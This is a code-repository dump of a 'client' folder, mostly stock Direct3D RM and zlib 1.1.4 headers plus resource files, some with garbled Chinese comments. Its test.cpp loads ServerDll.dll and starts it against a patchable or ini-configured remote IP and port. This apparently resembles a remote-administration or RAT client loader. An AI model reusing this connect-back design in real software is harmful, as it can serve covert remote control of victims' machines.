STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE;
STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMAnimation
DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE;
STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE;
STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE;
STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE;
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMAnimationSet
DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE;
STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMUserVisual
DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual) {
IUNKNOWN_METHODS(PURE);
IDIRECT3DRMOBJECT_METHODS(PURE);
STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMArray
DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMDeviceArray
DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFrameArray
DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMViewportArray
DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMVisualArray
DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMPickedArray
DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMLightArray
DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE;
};
#undef INTERFACE
#define INTERFACE IDirect3DRMFaceArray
DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray) {
IUNKNOWN_METHODS(PURE);
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE;
};
#endif

5362
client/dxtrans.h Normal file

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10236
client/qedit.h Normal file

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18
client/resource.h Normal file
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//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by Script.rc
//
#define IDD_DIALOG 101
#define IDR_WAVE 102
#define IDC_EDIT_MESSAGE 1000
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

14
client/resource1.h Normal file
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@@ -0,0 +1,14 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by TestRun.rc
// <20><EFBFBD><C2B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ĭ<EFBFBD><C4AC>ֵ
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 101
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

53
client/test.cpp Normal file
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#include <windows.h>
#include <stdio.h>
#include <iostream>
typedef void (*StopRun)();
typedef bool (*IsStoped)();
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopRun stop = NULL;
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
IsStoped bStop = NULL;
struct CONNECT_ADDRESS
{
DWORD dwFlag;
char szServerIP[MAX_PATH];
int iPort;
}g_ConnectAddress={0x1234567,"",0};
int main()
{
char path[_MAX_PATH], *p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p+1, "ServerDll.dll");
HMODULE hDll = LoadLibraryA(path);
typedef void (*TestRun)(char* strHost,int nPort );
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
if (run)
{
char *ip = g_ConnectAddress.szServerIP;
int &port = g_ConnectAddress.iPort;
if (0 == strlen(ip))
{
strcpy(p+1, "remote.ini");
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("remote", "port", 2356, path);
}
printf("[remote] %s:%d\n", ip, port);
run(ip, port);
#ifdef _DEBUG
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
if (stop) stop();
while(bStop && !bStop()) Sleep(200);
#endif
}
return -1;
}

279
client/zconf.h Normal file
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/* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#ifndef _ZCONF_H
#define _ZCONF_H
/*
* If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
*/
#ifdef Z_PREFIX
# define deflateInit_ z_deflateInit_
# define deflate z_deflate
# define deflateEnd z_deflateEnd
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset
# define deflateParams z_deflateParams
# define inflateInit2_ z_inflateInit2_
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset
# define compress z_compress
# define compress2 z_compress2
# define uncompress z_uncompress
# define adler32 z_adler32
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
# endif
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS
#endif
/*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int).
*/
#if defined(MSDOS) && !defined(__32BIT__)
# define MAXSEG_64K
#endif
#ifdef MSDOS
# define UNALIGNED_OK
#endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
# ifndef STDC
# define STDC
# endif
#endif
#ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const
# endif
#endif
/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
# define NO_DUMMY_DECL
#endif
/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
# define NEED_DUMMY_RETURN
#endif
/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K
# define MAX_MEM_LEVEL 8
# else
# define MAX_MEM_LEVEL 9
# endif
#endif
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
* created by gzip. (Files created by minigzip can still be extracted by
* gzip.)
*/
#ifndef MAX_WBITS
# define MAX_WBITS 15 /* 32K LZ77 window */
#endif
/* The memory requirements for deflate are (in bytes):
(1 << (windowBits+2)) + (1 << (memLevel+9))
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
plus a few kilobytes for small objects. For example, if you want to reduce
the default memory requirements from 256K to 128K, compile with
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes
for small objects.
*/
/* Type declarations */
#ifndef OF /* function prototypes */
# ifdef STDC
# define OF(args) args
# else
# define OF(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty.
*/
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
/* MSC small or medium model */
# define SMALL_MEDIUM
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__
# define SMALL_MEDIUM
# define FAR _far
# endif
#endif
/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
# if defined(_WINDOWS) || defined(WINDOWS)
# ifdef FAR
# undef FAR
# endif
# include <windows.h>
# define ZEXPORT WINAPI
# ifdef WIN32
# define ZEXPORTVA WINAPIV
# else
# define ZEXPORTVA FAR _cdecl _export
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# endif
# endif
#endif
#if defined (__BEOS__)
# if defined (ZLIB_DLL)
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
#endif
#ifndef ZEXPORT
# define ZEXPORT
#endif
#ifndef ZEXPORTVA
# define ZEXPORTVA
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR
# define FAR
#endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
typedef unsigned char Byte; /* 8 bits */
#endif
typedef unsigned int uInt; /* 16 bits or more */
typedef unsigned long uLong; /* 32 bits or more */
#ifdef SMALL_MEDIUM
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
# define Bytef Byte FAR
#else
typedef Byte FAR Bytef;
#endif
typedef char FAR charf;
typedef int FAR intf;
typedef uInt FAR uIntf;
typedef uLong FAR uLongf;
#ifdef STDC
typedef void FAR *voidpf;
typedef void *voidp;
#else
typedef Byte FAR *voidpf;
typedef Byte *voidp;
#endif
#ifdef HAVE_UNISTD_H
# include <sys/types.h> /* for off_t */
# include <unistd.h> /* for SEEK_* and off_t */
# define z_off_t off_t
#endif
#ifndef SEEK_SET
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
# define z_off_t long
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
# pragma map(deflateInit_,"DEIN")
# pragma map(deflateInit2_,"DEIN2")
# pragma map(deflateEnd,"DEEND")
# pragma map(inflateInit_,"ININ")
# pragma map(inflateInit2_,"ININ2")
# pragma map(inflateEnd,"INEND")
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#endif
#endif /* _ZCONF_H */

893
client/zlib.h Normal file
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/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.1.4, March 11th, 2002
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
*/
#ifndef _ZLIB_H
#define _ZLIB_H
#include "zconf.h"
#ifdef __cplusplus
extern "C" {
#endif
#define ZLIB_VERSION "1.1.4"
/*
The 'zlib' compression library provides in-memory compression and
decompression functions, including integrity checks of the uncompressed
data. This version of the library supports only one compression method
(deflation) but other algorithms will be added later and will have the same
stream interface.
Compression can be done in a single step if the buffers are large
enough (for example if an input file is mmap'ed), or can be done by
repeated calls of the compression function. In the latter case, the
application must provide more input and/or consume the output
(providing more output space) before each call.
The library also supports reading and writing files in gzip (.gz) format
with an interface similar to that of stdio.
The library does not install any signal handler. The decoder checks
the consistency of the compressed data, so the library should never
crash even in case of corrupted input.
*/
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
typedef void (*free_func) OF((voidpf opaque, voidpf address));
struct internal_state;
typedef struct z_stream_s {
Bytef *next_in; /* next input byte */
uInt avail_in; /* number of bytes available at next_in */
uLong total_in; /* total nb of input bytes read so far */
Bytef *next_out; /* next output byte should be put there */
uInt avail_out; /* remaining free space at next_out */
uLong total_out; /* total nb of bytes output so far */
char *msg; /* last error message, NULL if no error */
struct internal_state FAR *state; /* not visible by applications */
alloc_func zalloc; /* used to allocate the internal state */
free_func zfree; /* used to free the internal state */
voidpf opaque; /* private data object passed to zalloc and zfree */
int data_type; /* best guess about the data type: ascii or binary */
uLong adler; /* adler32 value of the uncompressed data */
uLong reserved; /* reserved for future use */
} z_stream;
typedef z_stream FAR *z_streamp;
/*
The application must update next_in and avail_in when avail_in has
dropped to zero. It must update next_out and avail_out when avail_out
has dropped to zero. The application must initialize zalloc, zfree and
opaque before calling the init function. All other fields are set by the
compression library and must not be updated by the application.
The opaque value provided by the application will be passed as the first
parameter for calls of zalloc and zfree. This can be useful for custom
memory management. The compression library attaches no meaning to the
opaque value.
zalloc must return Z_NULL if there is not enough memory for the object.
If zlib is used in a multi-threaded application, zalloc and zfree must be
thread safe.
On 16-bit systems, the functions zalloc and zfree must be able to allocate
exactly 65536 bytes, but will not be required to allocate more than this
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
pointers returned by zalloc for objects of exactly 65536 bytes *must*
have their offset normalized to zero. The default allocation function
provided by this library ensures this (see zutil.c). To reduce memory
requirements and avoid any allocation of 64K objects, at the expense of
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
The fields total_in and total_out can be used for statistics or
progress reports. After compression, total_in holds the total size of
the uncompressed data and may be saved for use in the decompressor
(particularly if the decompressor wants to decompress everything in
a single step).
*/
/* constants */
#define Z_NO_FLUSH 0
#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
#define Z_SYNC_FLUSH 2
#define Z_FULL_FLUSH 3
#define Z_FINISH 4
/* Allowed flush values; see deflate() below for details */
#define Z_OK 0
#define Z_STREAM_END 1
#define Z_NEED_DICT 2
#define Z_ERRNO (-1)
#define Z_STREAM_ERROR (-2)
#define Z_DATA_ERROR (-3)
#define Z_MEM_ERROR (-4)
#define Z_BUF_ERROR (-5)
#define Z_VERSION_ERROR (-6)
/* Return codes for the compression/decompression functions. Negative
* values are errors, positive values are used for special but normal events.
*/
#define Z_NO_COMPRESSION 0
#define Z_BEST_SPEED 1
#define Z_BEST_COMPRESSION 9
#define Z_DEFAULT_COMPRESSION (-1)
/* compression levels */
#define Z_FILTERED 1
#define Z_HUFFMAN_ONLY 2
#define Z_DEFAULT_STRATEGY 0
/* compression strategy; see deflateInit2() below for details */
#define Z_BINARY 0
#define Z_ASCII 1
#define Z_UNKNOWN 2
/* Possible values of the data_type field */
#define Z_DEFLATED 8
/* The deflate compression method (the only one supported in this version) */
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
#define zlib_version zlibVersion()
/* for compatibility with versions < 1.0.2 */
/* basic functions */
ZEXTERN const char * ZEXPORT zlibVersion OF((void));
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
If the first character differs, the library code actually used is
not compatible with the zlib.h header file used by the application.
This check is automatically made by deflateInit and inflateInit.
*/
/*
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
Initializes the internal stream state for compression. The fields
zalloc, zfree and opaque must be initialized before by the caller.
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
use default allocation functions.
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
1 gives best speed, 9 gives best compression, 0 gives no compression at
all (the input data is simply copied a block at a time).
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
compression (currently equivalent to level 6).
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
with the version assumed by the caller (ZLIB_VERSION).
msg is set to null if there is no error message. deflateInit does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
/*
deflate compresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may introduce some
output latency (reading input without producing any output) except when
forced to flush.
The detailed semantics are as follows. deflate performs one or both of the
following actions:
- Compress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in and avail_in are updated and
processing will resume at this point for the next call of deflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. This action is forced if the parameter flush is non zero.
Forcing flush frequently degrades the compression ratio, so this parameter
should be set only when necessary (in interactive applications).
Some output may be provided even if flush is not set.
Before the call of deflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating avail_in or avail_out accordingly; avail_out
should never be zero before the call. The application can consume the
compressed output when it wants, for example when the output buffer is full
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
and with zero avail_out, it must be called again after making room in the
output buffer because there might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
flushed to the output buffer and the output is aligned on a byte boundary, so
that the decompressor can get all input data available so far. (In particular
avail_in is zero after the call if enough output space has been provided
before the call.) Flushing may degrade compression for some compression
algorithms and so it should be used only when necessary.
If flush is set to Z_FULL_FLUSH, all output is flushed as with
Z_SYNC_FLUSH, and the compression state is reset so that decompression can
restart from this point if previous compressed data has been damaged or if
random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
the compression.
If deflate returns with avail_out == 0, this function must be called again
with the same value of the flush parameter and more output space (updated
avail_out), until the flush is complete (deflate returns with non-zero
avail_out).
If the parameter flush is set to Z_FINISH, pending input is processed,
pending output is flushed and deflate returns with Z_STREAM_END if there
was enough output space; if deflate returns with Z_OK, this function must be
called again with Z_FINISH and more output space (updated avail_out) but no
more input data, until it returns with Z_STREAM_END or an error. After
deflate has returned Z_STREAM_END, the only possible operations on the
stream are deflateReset or deflateEnd.
Z_FINISH can be used immediately after deflateInit if all the compression
is to be done in a single step. In this case, avail_out must be at least
0.1% larger than avail_in plus 12 bytes. If deflate does not return
Z_STREAM_END, then it must be called again as described above.
deflate() sets strm->adler to the adler32 checksum of all input read
so far (that is, total_in bytes).
deflate() may update data_type if it can make a good guess about
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
binary. This field is only for information purposes and does not affect
the compression algorithm in any manner.
deflate() returns Z_OK if some progress has been made (more input
processed or more output produced), Z_STREAM_END if all input has been
consumed and all output has been produced (only when flush is set to
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
(for example avail_in or avail_out was zero).
*/
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
prematurely (some input or output was discarded). In the error case,
msg may be set but then points to a static string (which must not be
deallocated).
*/
/*
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
Initializes the internal stream state for decompression. The fields
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
value depends on the compression method), inflateInit determines the
compression method from the zlib header and allocates all data structures
accordingly; otherwise the allocation will be deferred to the first call of
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
use default allocation functions.
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
version assumed by the caller. msg is set to null if there is no error
message. inflateInit does not perform any decompression apart from reading
the zlib header if present: this will be done by inflate(). (So next_in and
avail_in may be modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
/*
inflate decompresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may some
introduce some output latency (reading input without producing any output)
except when forced to flush.
The detailed semantics are as follows. inflate performs one or both of the
following actions:
- Decompress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in is updated and processing
will resume at this point for the next call of inflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. inflate() provides as much output as possible, until there
is no more input data or no more space in the output buffer (see below
about the flush parameter).
Before the call of inflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating the next_* and avail_* values accordingly.
The application can consume the uncompressed output when it wants, for
example when the output buffer is full (avail_out == 0), or after each
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
must be called again after making room in the output buffer because there
might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
output as possible to the output buffer. The flushing behavior of inflate is
not specified for values of the flush parameter other than Z_SYNC_FLUSH
and Z_FINISH, but the current implementation actually flushes as much output
as possible anyway.
inflate() should normally be called until it returns Z_STREAM_END or an
error. However if all decompression is to be performed in a single step
(a single call of inflate), the parameter flush should be set to
Z_FINISH. In this case all pending input is processed and all pending
output is flushed; avail_out must be large enough to hold all the
uncompressed data. (The size of the uncompressed data may have been saved
by the compressor for this purpose.) The next operation on this stream must
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
is never required, but can be used to inform inflate that a faster routine
may be used for the single inflate() call.
If a preset dictionary is needed at this point (see inflateSetDictionary
below), inflate sets strm-adler to the adler32 checksum of the
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
it sets strm->adler to the adler32 checksum of all output produced
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
an error code as described below. At the end of the stream, inflate()
checks that its computed adler32 checksum is equal to that saved by the
compressor and returns Z_STREAM_END only if the checksum is correct.
inflate() returns Z_OK if some progress has been made (more input processed
or more output produced), Z_STREAM_END if the end of the compressed data has
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
corrupted (input stream not conforming to the zlib format or incorrect
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
case, the application may then call inflateSync to look for a good
compression block.
*/
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
was inconsistent. In the error case, msg may be set but then points to a
static string (which must not be deallocated).
*/
/* Advanced functions */
/*
The following functions are needed only in some special applications.
*/
/*
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
int level,
int method,
int windowBits,
int memLevel,
int strategy));
This is another version of deflateInit with more compression options. The
fields next_in, zalloc, zfree and opaque must be initialized before by
the caller.
The method parameter is the compression method. It must be Z_DEFLATED in
this version of the library.
The windowBits parameter is the base two logarithm of the window size
(the size of the history buffer). It should be in the range 8..15 for this
version of the library. Larger values of this parameter result in better
compression at the expense of memory usage. The default value is 15 if
deflateInit is used instead.
The memLevel parameter specifies how much memory should be allocated
for the internal compression state. memLevel=1 uses minimum memory but
is slow and reduces compression ratio; memLevel=9 uses maximum memory
for optimal speed. The default value is 8. See zconf.h for total memory
usage as a function of windowBits and memLevel.
The strategy parameter is used to tune the compression algorithm. Use the
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
string match). Filtered data consists mostly of small values with a
somewhat random distribution. In this case, the compression algorithm is
tuned to compress them better. The effect of Z_FILTERED is to force more
Huffman coding and less string matching; it is somewhat intermediate
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
the compression ratio but not the correctness of the compressed output even
if it is not set appropriately.
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
method). msg is set to null if there is no error message. deflateInit2 does
not perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the compression dictionary from the given byte sequence
without producing any compressed output. This function must be called
immediately after deflateInit, deflateInit2 or deflateReset, before any
call of deflate. The compressor and decompressor must use exactly the same
dictionary (see inflateSetDictionary).
The dictionary should consist of strings (byte sequences) that are likely
to be encountered later in the data to be compressed, with the most commonly
used strings preferably put towards the end of the dictionary. Using a
dictionary is most useful when the data to be compressed is short and can be
